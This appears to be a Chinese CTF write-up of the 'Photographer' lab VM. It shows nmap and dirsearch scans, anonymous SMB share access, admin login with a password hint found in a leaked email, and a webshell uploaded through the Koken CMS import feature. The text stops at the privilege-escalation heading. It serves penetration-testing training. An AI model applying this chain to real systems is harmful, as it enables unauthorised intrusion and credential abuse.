7. Photographer靶机

【offensive-security】7.Photographer靶机

image.png

一、获取靶机信息

1.已知信息：

• IP: 192.168.245.76

2.获取信息：

• nmap扫描开启的服务

┌──(lo0p㉿0xlo0p)-[~]
└─$ nmap -sV -T4 192.168.245.76 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-28 10:18 CST
Nmap scan report for 192.168.245.76
Host is up (0.26s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8000/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: PHOTOGRAPHER; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.04 seconds

开了80、8000端口的web服务，smb服务

3.爆破web目录

扫描80端口及8000端口的目录，发现8000端口上存在后台登录地址，80端口存在目录遍历地址

┌──(lo0p㉿0xlo0p)-[~]
└─$ dirsearch -u http://192.168.245.76:8000 -x 302

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                                                                                                                            
 (_||| _) (/_(_|| (_| )                                                                                                                                                                                                                     
                                                                                                                                                                                                                                            
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/lo0p/.dirsearch/reports/192.168.245.76-8000/_22-10-28_10-22-57.txt

Error Log: /home/lo0p/.dirsearch/logs/errors-22-10-28_10-22-57.log

Target: http://192.168.245.76:8000/

[10:22:57] Starting: 
[10:23:01] 301 -    0B  - /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua  ->  / CSCOT /oem-customization/?app=AnyConnect&type=oem&platform=..&resource-type=..&name=+CSCOE+/portal_inc.lua
[10:23:01] 301 -    0B  - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../  ->  / CSCOT /translation-table/?type=mst&textdomain=/+CSCOE+/portal_inc.lua&lang=../                                   
[10:23:29] 301 -  323B  - /admin  ->  http://192.168.245.76:8000/admin/                                     
[10:23:30] 200 - 1020B  - /admin/
[10:23:30] 200 - 1020B  - /admin/?/login
[10:23:31] 200 - 1020B  - /admin/index.html                                                                                                              
[10:23:43] 200 -  114B  - /app/cache/                                       
[10:23:43] 200 -  114B  - /app/                                             
[10:23:43] 200 -  114B  - /app/logs/                                        
[10:23:52] 200 -    3KB - /content/                                         
[10:23:58] 200 -    3KB - /error/                                                                            
[10:24:06] 200 -    4KB - /index.php                                                                             
[10:24:40] 200 -    4KB - /wp-content/plugins/jrss-widget/proxy.php?url=    
                                                                            
Task Completed

8000端口是一个koken cms系统，msf上无可利用exp，只能进行人工渗透测试

3.smb文件泄露

┌──(lo0p㉿0xlo0p)-[~]
└─$ smbclient -L 192.168.245.76 -U root
Enter WORKGROUP\root's password: 
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        sambashare      Disk      Samba on Ubuntu
        IPC$            IPC       IPC Service (photographer server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
        Server               Comment
        ---------            -------
        Workgroup            Master
        ---------            -------
        WORKGROUP            PHOTOGRAPHER
┌──(lo0p㉿0xlo0p)-[~]
└─$ smbclient //192.168.245.76/sambashare -U root
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Aug 20 23:51:08 2020
  ..                                  D        0  Fri Aug 21 00:08:59 2020
  mailsent.txt                        N      503  Tue Jul 21 09:29:40 2020
  wordpress.bkp.zip                   N 13930308  Tue Jul 21 09:22:23 2020
smb: \> get mailsent.txt
getting file \mailsent.txt of size 503 as mailsent.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \> get wordpress.bkp.zip
getting file \wordpress.bkp.zip of size 13930308 as wordpress.bkp.zip getting file \wordpress.bkp.zip of size 13930308 as wordpress.bkp.zip getting file \wordpress.bkp.zip of size 13930308 as wordpress.bkp.zip (296.5 KiloBytes/sec) (average 288.7 KiloBytes/sec)
┌──(lo0p㉿0xlo0p)-[~]
└─$ cat mailsent.txt 
Message-ID: <[email protected]>
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi 
Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;)

smb上有两个文件，一个mailsent.txt，另一个疑似web网站备份文件，我们查看mailsent.txt发现疑似后台用户密码的信息，拿到koken cms后台测试成功进入（用户邮箱：[email protected]，密码：babygirl）

image.png

5.任意文件上传漏洞

既然是cms系统，那就存在上传文件的地方，我们看到右下角有一个import content的按钮，打开burp进行上传文件的抓包

image.png

payload如上，上传成功后会重定向到一个地址，访问该地址可以拿到上传的文件的url

image.png

于是我们就得到了一个webshell，使用蚁剑连接发现很多命令执行的时候都会返回ret=2，不知道是蚁剑的bug还是有限制，所以我们改用msf的shell

6.提权